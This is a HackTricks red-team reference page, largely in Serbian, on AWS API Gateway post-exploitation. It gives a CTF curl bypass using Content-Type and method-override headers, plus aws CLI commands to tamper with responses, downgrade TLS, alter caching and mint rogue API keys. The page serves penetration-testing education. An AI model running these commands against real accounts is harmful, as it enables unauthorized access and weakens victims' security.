AWS - API Gateway Post Exploitation
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
API Gateway
Za više informacija pogledajte:
Access unexposed APIs
Možete kreirati endpoint u https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint sa servisom com.amazonaws.us-east-1.execute-api, izložiti endpoint u mreži kojoj imate pristup (potencijalno preko EC2 mašine) i dodeliti security group koja dozvoljava sve konekcije.
Zatim, sa EC2 mašine bićete u mogućnosti da pristupite endpointu i samim tim pozovete gateway API koji ranije nije bio izložen.
Bypass Request body passthrough
Ova tehnika je pronađena u this CTF writeup.
Kao što je naznačeno u AWS documentation u sekciji PassthroughBehavior, po defaultu, vrednost WHEN_NO_MATCH, prilikom provere Content-Type hedera zahteva, proslediće zahtev ka back end-u bez transformacije.
Dakle, u CTF-u API Gateway je imao integration template koji je preventing the flag from being exfiltrated u odgovoru kada je zahtev poslat sa Content-Type: application/json:
RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
Međutim, slanje zahteva sa Content-type: text/json bi onemogućilo taj filter.
Na kraju, pošto je API Gateway dozvoljavao samo Get i Options, bilo je moguće poslati proizvoljan dynamoDB upit bez ikakvog ograničenja slanjem POST zahteva sa upitom u telu i koristeći header X-HTTP-Method-Override: GET:
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
Usage Plans DoS
U sekciji Enumeration možeš videti kako da dohvatiš usage plan ključeva. Ako imaš key i on je ograničen na X upotreba po mesecu, možeš ga jednostavno koristiti i izazvati DoS.
The API Key just need to be included inside a HTTP header called x-api-key.
apigateway:UpdateGatewayResponse, apigateway:CreateDeployment
Napadač sa permisijama apigateway:UpdateGatewayResponse i apigateway:CreateDeployment može izmeniti postojeći Gateway Response da uključi custom headers ili response templates koji leak osetljive informacije ili izvrše maliciozne skripte.
API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"
# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Potential Impact: Otkrivanje osetljivih informacija, izvršavanje zlonamernih skripti ili neovlašćen pristup API resursima.
Note
Potrebno je testiranje
apigateway:UpdateStage, apigateway:CreateDeployment
Napadač sa permisijama apigateway:UpdateStage i apigateway:CreateDeployment može izmeniti postojeći API Gateway stage da preusmeri saobraćaj na drugi stage ili promeni podešavanja keširanja kako bi dobio neovlašćen pristup keširanim podacima.
API_ID="your-api-id"
STAGE_NAME="Prod"
# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Potencijalni uticaj: Neovlašćen pristup keširanim podacima, ometanje ili presretanje API saobraćaja.
Note
Potrebno testiranje
apigateway:PutMethodResponse, apigateway:CreateDeployment
Napadač sa dozvolama apigateway:PutMethodResponse i apigateway:CreateDeployment može izmeniti odgovor metode postojećeg API Gateway REST API metoda kako bi uključio prilagođena zaglavlja ili predloške odgovora koji leak osetljive informacije ili izvršavaju maliciozne skripte.
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"
# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Potencijalni uticaj: Otkrivanje osetljivih informacija, izvršavanje zlonamernih skripti ili neovlašćen pristup API resursima.
Note
Potrebno testiranje
apigateway:UpdateRestApi, apigateway:CreateDeployment
Napadač sa dozvolama apigateway:UpdateRestApi i apigateway:CreateDeployment može izmeniti podešavanja API Gateway REST API-ja kako bi onemogućio beleženje ili promenio minimalnu verziju TLS-a, potencijalno oslabljujući bezbednost API-ja.
API_ID="your-api-id"
# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Potencijalni uticaj: Oslabljivanje sigurnosti API-ja, potencijalno omogućavanje neovlašćenog pristupa ili izlaganje osetljivih informacija.
Note
Potrebno testiranje
apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey
Napadač sa dozvolama apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, i apigateway:CreateUsagePlanKey može kreirati nove API keys, povezati ih sa usage plans, i zatim koristiti te ključeve za neovlašćen pristup API-ima.
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')
# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
Potential Impact: Neovlašćen pristup API resursima, zaobilaženje bezbednosnih kontrola.
Note
Potrebno testiranje
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks Cloud

